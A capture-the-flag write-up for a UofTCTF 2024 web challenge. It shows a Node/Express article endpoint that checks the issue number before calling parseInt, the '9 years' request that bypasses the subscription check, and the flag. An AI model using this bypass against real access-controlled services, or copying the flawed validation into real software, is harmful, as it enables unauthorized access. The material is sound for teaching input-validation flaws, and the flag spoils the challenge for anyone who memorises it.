Tags: javascript 

Rating: 5.0

## Web/The Varsity (181 solves)
Created by: `SteakEnthusiast`
> Come read our newspaper! Be sure to subscribe if you want access to the entire catalogue, including the latest issue.

We are provided with a webpage which asks for us to register and an optional voucher, which I keep in mind for later.

![Register](https://seall.dev/images/ctfs/uoftctf2024/varsity-1.png)

Once registered (no voucher) we can see an article reading site.

![Articles](https://seall.dev/images/ctfs/uoftctf2024/varsity-2.png)

Trying to read Article 10 results in an error due to our role.

![Error](https://seall.dev/images/ctfs/uoftctf2024/varsity-3.png)

Looking inside the source code for article reading, article 10 seems to contain the flag.

```js
const articles = [
{
"title": "Pioneering the Future: UofT's Revolutionary AI Research",
"content": "The University of Toronto continues to lead groundbreaking research in artificial intelligence, with its latest project aiming to develop algorithms that can understand emotions in text. Spearheaded by a team of international students, this initiative promises to revolutionize how machines interact with human language."
},
...
{
title: "UofT Hosts its 2nd Inaugural Capture the Flag Event",
content: "Your flag is: " + FLAG,
},
];
```

And this is the code that parses the authentication to read articles:

```js
app.post("/article", (req, res) => {
const token = req.cookies.token;

if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);

let issue = req.body.issue;

if (req.body.issue < 0) {
return res.status(400).json({ message: "Invalid issue number" });
}

if (decoded.subscription !== "premium" && issue >= 9) {
return res
.status(403)
.json({ message: "Please subscribe to access this issue" });
}

issue = parseInt(issue);

if (Number.isNaN(issue) || issue > articles.length - 1) {
return res.status(400).json({ message: "Invalid issue number" });
}

return res.json(articles[issue]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "Not Authenticated" });
}
} else {
return res.status(403).json({ message: "Not Authenticated" });
}
});
```

The part that catches my eye is the vaidation of the `issue` variable **before** the `parseInt`.

Looking into the documentation of `parseInt` we can see it converts the following values:

```js
parseInt("10"); => 10
parseInt("10.00"); => 10
parseInt("10.33"); => 10
parseInt("34 45 66"); => 34
parseInt(" 60 "); => 60
parseInt("40 years"); => 40
parseInt("He was 40"); => NaN
```

So, we could give a vlue like `9 years` as our article ID and read the article without permissions.

Looking at the default request for Article 10:

```
POST /article HTTP/1.1
Host: uoftctf-the-varsity.chals.io
Content-Type: application/json
Content-Length: 13
Cookie: token=...

{"issue":"9"}
```

I change `"9"` to `"9 years"` and I get the article back:

```json
{
"title":"UofT Hosts its 2nd Inaugural Capture the Flag Event",
"content":"Your flag is: uoftctf{w31rd_b3h4v10r_0f_parseInt()!}"
}
```

There we go!

Flag: `uoftctf{w31rd_b3h4v10r_0f_parseInt()!}`

**Files:** [the_varsity.zip](https://files.seall.dev/ctfs/uoftctf2024/the-varsity/the_varsity.zip)

Original writeup (https://seall.dev/posts/uoftctf2024#webthe-varsity-181-solves).